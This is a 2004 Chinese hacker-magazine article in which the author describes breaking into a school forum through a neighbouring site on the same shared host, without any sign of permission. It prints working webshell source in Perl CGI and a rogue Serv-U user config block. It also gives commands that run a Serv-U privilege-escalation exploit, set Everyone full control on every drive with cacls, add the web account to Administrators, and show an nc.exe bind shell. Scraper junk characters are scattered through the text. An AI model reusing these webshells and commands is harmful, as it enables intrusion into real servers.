剑走偏锋——灵巧的旁注攻击
9 K" \7 Y$ U3 h; Y6 I: a* x- f# I本文作者:angel
+ v+ y: ^4 o& z# _, t! o# I* t文章性质:原创' U3 _6 A! A- K( ]
发布日期:2004-11-09
' ^& f3 `8 G& r# t7 R" P注意:. f& G3 }: u. l! E) D
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
- L* m T9 A0 a( W本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。& S7 P: i% b" h# n
2 r" b+ I: ]; o; d- P3 R
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
: X Q3 U6 E2 X0 O9 h( Q' m8 F5 O" f4 E6 I. m U6 q
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 $ `' {# ~3 q+ Y3 u* ?, M
0 n4 G$ k+ N: B& N
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 * [8 M4 o7 o: Y. o6 s4 F
' b* n6 H7 s; V
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 + e, C W7 ]/ O! ]8 ]. w" S. l
3 [7 D, f* t6 E0 G# g% Z 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 4 @+ d. g6 p; \" M }& O
# g9 x& \& \ P
没有目的的跳转目录着……
6 ]4 q3 Y) y5 N
4 M7 `- W9 P/ d+ j$ }/ I( _ 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
. w& e S' o4 C: A0 J t/ Z0 F% W9 T6 a# J( r0 z- O' f, }
结束了吗?不,我试着 FTP 一下: 9 C" I' B' f" a' D- W' r+ c
! W" }. R/ R# b) z7 `
Microsoft Windows 2000 [Version 5.00.2195]: {" A& H( |6 e. T7 |7 P1 g
(C) 版权所有 1985-2000 Microsoft Corp.
) m; t$ ^% V0 @/ j
, c, E" F1 T7 n1 z7 I! o" g$ x3 UC:\Documents and Settings\Administrator>ftp www.school.com
* ^* a' u" `# `Connected to www. school.com. " U" u) t" p4 `
220 Welcome to FTP Server... ; W/ ~7 @8 b7 A5 ]
User (www.bjtrq.com:(none)):
$ [2 L( R) [+ L7 d4 m! }331 User name okay, need password. ( h' b1 q: z3 R. [
Password: 8 [5 d( N* @- a1 g9 h, @1 y( f
530 Not logged in.
. x' R% ]: s- H8 H; p* nLogin failed. " |5 k8 R/ e5 z6 p
ftp> bye
; s. Z/ `7 X# d2 P221 Goodbye! ; O( W$ ]* j& K& \
6 m4 J* z$ r4 ?1 v' i; |( d
3 _, y! ]" b# m# d# v' }) t$ P
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… ' J [# e( \9 F( r
8 b3 R2 H9 w$ R$ J& F3 X 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
$ B7 W) p. q3 u, o8 _5 h- f5 t3 q0 g7 u8 b4 Y3 [3 {
Application Data
' X. h" [# l8 R, S8 k: LDocuments8 n' ?6 o2 q3 |, k3 t
DRM
6 e* h, o5 q. W2 F! d% t$ ~7 Q NFavorites
& a) K, e8 L @7 NTemplates0 ~) V" [+ k, h7 x: b1 ~
「开始」菜单
* y: h7 G) ?+ Z; f桌面8 u2 \: V5 H2 n" N: D
8 q8 s) _' A! W( Z7 A0 c
; f& W; } {# e0 ?$ I" ? j2 ^
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 1 K1 K9 i! k5 K6 c( `, m
9 u$ r2 @7 Y" L% PActiveState ActivePerl 5.8
" U7 N" a/ Q7 N# Y1 rAdministrative Tools
' C' b; k( l& {" _4 t1 @Deerfield.com
: [+ L4 b% k) X! B7 FDTemp4 ? D/ l1 K4 j& m
IPSentry
9 P+ j7 q6 N; i e6 M" zMBM 5
1 r7 `+ ]: H% LNetMeter
) U$ o' j& q, K4 q' i ?1 E! dNetwork ICE
% p0 j9 O' s1 X' g3 Z$ QPersits Software AspEmail
/ ^8 d6 U( ]7 }6 Y7 V8 dPersits Software AspJpeg
R3 J& T% a, E- G0 j2 ~9 W1 ~2 xServ-U FTP Server6 D6 l+ B @* b2 `/ O" i
Symantec Client Security
( F0 P+ y9 X5 J7 @Windows 优化大师/ Q# n2 r3 E& i! V
WinRAR
( Q4 A- \ v" E0 w: L1 P4 B2 z启动* X) t$ `+ C- q3 L9 C$ A: i7 `
管理工具
5 r- O/ v4 P q1 Q. v附件
t# B+ r( | z, t2 [
7 o' A) N1 q$ ^; b- t6 r9 q ]3 l
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
8 R: F# Y N# m& s, p4 t9 }/ O% ~, V' {1 J/ m* C
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
! N, x6 V2 B5 g
6 {6 ?5 b- B) X S5 c. l8 rUser281=angel|1|0 7 J2 R2 x' _) N% a9 A: }
7 K( N; n9 H6 m' t3 {+ z+ L# l1 W. G% ^ o7 q' i, u
然后加上
# v" K0 T) S% j8 n- u" |* t E3 V0 W/ p
[USER=angel|1]
9 L/ O+ X7 g k7 X6 QPassword=ng98F85379EA68DBF97BAADCA99B69B8058 \1 B8 r& _3 h& C( G" {- \
HomeDir=D:\websites
\) `0 Y, G% O: m" V7 _: o# j: iRelPaths=1
" H/ b' [" p/ { M5 m, l+ qTimeOut=600
+ D+ n- }% a8 P" O+ sMaintenance=System
7 F$ l2 a; G- q& @1 lAccess1=D:\websites|RWAMELCDP
% K( d* [$ o+ @6 e. vSKEYValues=. U! G: p( G- G0 ?- P& l
; @5 j# ?( h w4 ^3 p; u0 R$ a& w" \5 f; q- ^5 r: c9 E
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
% d5 l8 L1 K' G! B3 r+ ?+ }* s& \) Z. t. ~ `3 F
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
) U" w4 h7 \( @- g2 a( X' z7 B: E2 g4 {+ ~, h7 f
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
+ t0 A7 p2 V8 T
; |9 {! i! t3 m. ~; |/ T% U 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: + r' I% C2 O! l% k
6 w( x2 `* F- k4 \
#!/usr/bin/perl
) \6 e4 E" R" a; l+ u: m3 m: Ibinmode(STDOUT);# O) {& g1 u' U
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);# P! e1 c5 P* ?! n: n0 a
$_ = $ENV{QUERY_STRING};
1 I% G, v4 T6 d C- Zs/%20/ /ig;/ d* ]0 p* u6 { d% u7 }
s/%2f/\//ig;, V& c7 L. Q7 K$ ]* k6 [" x
$execthis = $_;
8 U. b4 [4 v x' X' @# Q. nsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);4 f1 K5 r. L) o$ c8 z: F# F$ _4 H
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
# u- C, I, A7 x4 u: A7 ^+ Ksystem($execthis);
% X9 \/ q' D! h |, F1 {syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);/ q+ P4 e( N9 S0 v2 x; l! C
close(STDERR);
5 ?' I% q& R5 [8 ?( D: [2 A/ f# vclose(STDOUT);
/ I' [% T8 f1 t! T- A& Lexit;) `- ?9 w; A7 n! |3 |! {
; d% N6 D) B/ d8 n: p0 N" N4 ?) P8 G* o" J2 I
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 3 E0 k% e( s2 s4 h7 N
# J; m/ U( x! i
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: : q7 |4 ~ N, L* A
, Z) u( q6 N! O5 O5 x3 ^" \! shttp://anyhost//cmd.pl?d:\user\bin\su.exe
: ~ M6 C3 e- _$ J$ e+ c
( }+ L( J5 B5 @& _- |; s' n
& t% L) W! U6 k# [) P 返回:
3 U! G/ M" E/ q! Q: g5 L. q, {4 F2 a( f" v
Serv-u >3.x Local Exploit by xiaolu
2 S6 R2 P- P% K2 @# X3 m! B0 s: R$ z% G
1 O7 ~1 M+ [, P$ W2 E* [USAGE: serv-u.exe "command"
5 L! c1 v& ^/ k9 Y7 @4 z; F5 R) V/ n# }' s' R* W7 H* G
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
9 { C3 Q1 V- H4 k1 m2 \ J
5 [9 M( D* y% Q
% x) L" E a0 u- _) }2 h' y 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
5 f" S. b5 t, l/ p/ w
0 i7 M; i& m5 C: K3 ohttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" , e' [8 n: f4 V% H" u( t
& ~4 s0 o2 x$ U! m
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
. L3 A; M2 |1 F5 ?3 l" {) J: v8 h& a$ ? ?( a/ X) ^
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" * {" A: T- Y. Z( Y& B
+ E1 Y! J ~" g, M% _$ I
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ( Q* @- O$ w( ^) A+ ~
' e! ^* a# x- q6 W
, R1 [9 m, d. W$ {7 n. W2 v 返回下面的信息,就表示成功了!!! / _4 x" }# ^/ r
! J& X3 k% P, X% Y+ n# a! yServ-u >3.x Local Exploit by xiaolu
( L5 H# G8 r& A
% R0 G& i/ z# v# J- V# O<220 Serv-U FTP Server v5.2 for WinSock ready...
5 B+ S/ ~0 i. F8 {# q8 c6 T
( a1 Z. }1 N J# g& q) J>USER LocalAdministrator
* }% Y1 S# w: [/ n+ L- z% |# e; S
$ d& ~# b. a! w9 T3 n) U+ y<331 User name okay, need password. $ `0 l& v3 x. U! i' C; `) A
4 {, M* {+ c9 O
******************************************************
4 i" E9 T$ m! U2 F
' X, N9 m) ?3 k+ J* p& Q>PASS #l@$ak#.lk;0@P - N$ E6 W7 e, w6 _
' k/ k# e4 `0 v- @5 ^" Q; W<230 User logged in, proceed. 3 P3 C2 q/ q7 E+ R# \. Q+ P
( G/ }7 u. ^# x2 H& `$ T. d; ?******************************************************
' e* g% S( O) _ T( P( n; v) ?: M, ^+ C+ ^; {# M Z+ f
>SITE MAINTENANCE ' j/ H5 w$ L) } U- n v: O
9 Z( S# R1 R+ h- Y, f7 u
******************************************************
0 p: v4 M& \! D& }& f; n: k- {8 l6 z1 y9 C$ F Y+ l. V) B& D
[+] Creating New Domain...
7 }* s' B- g( Y1 S# T: T8 ~# ^$ D
( S! q) s& X R3 @" t% ^$ `! s<200-DomainID=2
) ^/ D5 Y2 D& A! [3 f/ R8 p, U" k
<220 Domain settings saved
/ m- F6 \& Z7 W/ ]3 R6 q' b% b3 Z; F7 u
****************************************************** ) }& w7 A% C0 K
8 J- r2 t5 [+ A# \$ {$ z! U( Y[+] Domain xl:2 Created
, X0 T& q7 b7 ^
$ D* j0 r8 q- \( F% b! L[+] Creating Evil User 7 a9 V& g& O( l# h8 i
4 q, J j" Q2 Y4 u6 g<200-User=xl
/ ?6 b2 Q6 e1 Z
0 Z+ T2 B) e! `0 ?# X200 User settings saved : [7 t, i$ X+ c
2 [3 L8 C8 t" |' I) E****************************************************** 8 B) a1 z0 O% O) d p
$ Z3 D3 n2 U5 ?
[+] Now Exploiting... * b% d) h; X$ z2 X8 m8 j* [: K* X
, @1 X! H+ ]- d9 T5 A
>USER xl , O6 c) t0 d7 x! [
) x# e5 }$ H4 H/ b2 r& ^
<331 User name okay, need password. 5 C8 F; |. h* A5 i6 v# ~" N
% i7 Y" Q4 Z# Y* J+ B3 M1 _8 a
******************************************************
; n8 y8 G: ^, _/ Z2 B9 j
2 G& w/ A5 X* ]>PASS 111111 ) x2 R' b7 N3 ?1 V- z
' ], _2 h7 f, t. G) m. x<230 User logged in, proceed. . H: _, g, ^4 M9 F: _
& ?; n c }: [) @2 c$ ?" O
****************************************************** Q8 H' Q$ C7 x$ p! u5 Y$ J7 [& }
. H1 |' u" }: l0 W, A
[+] Now Executing: cacls.exe c: /E /T /G everyone:F * S0 G3 }/ Q5 u
0 ^! H, w& D4 N<220 Domain deleted 1 V p' }! J) g T( {0 i# Q; s- t' J
4 g! M% p7 |3 t/ R2 R8 J****************************************************** - C5 O- v& W4 u) {% m
2 ?9 W' T5 s( T' ^8 _& x
0 B) X& U! [2 P% r. ]
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
) G( z' F# s6 X* _+ x; N" W
9 T+ ^8 j( o1 a8 t _9 vhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" # B! q& Y9 P: ^$ M' J
" e3 B6 o' B1 g6 Q A) V
+ G6 {4 ?* T( c5 L! i) U8 @
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
8 Q! f) X! P/ \- }1 `; y0 G7 Y9 @
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。$ N4 R: i9 L( @- F" `- W* _* k
. v+ R: \) H0 X; E
9 i* R; z) X" X4 v4 q) _
|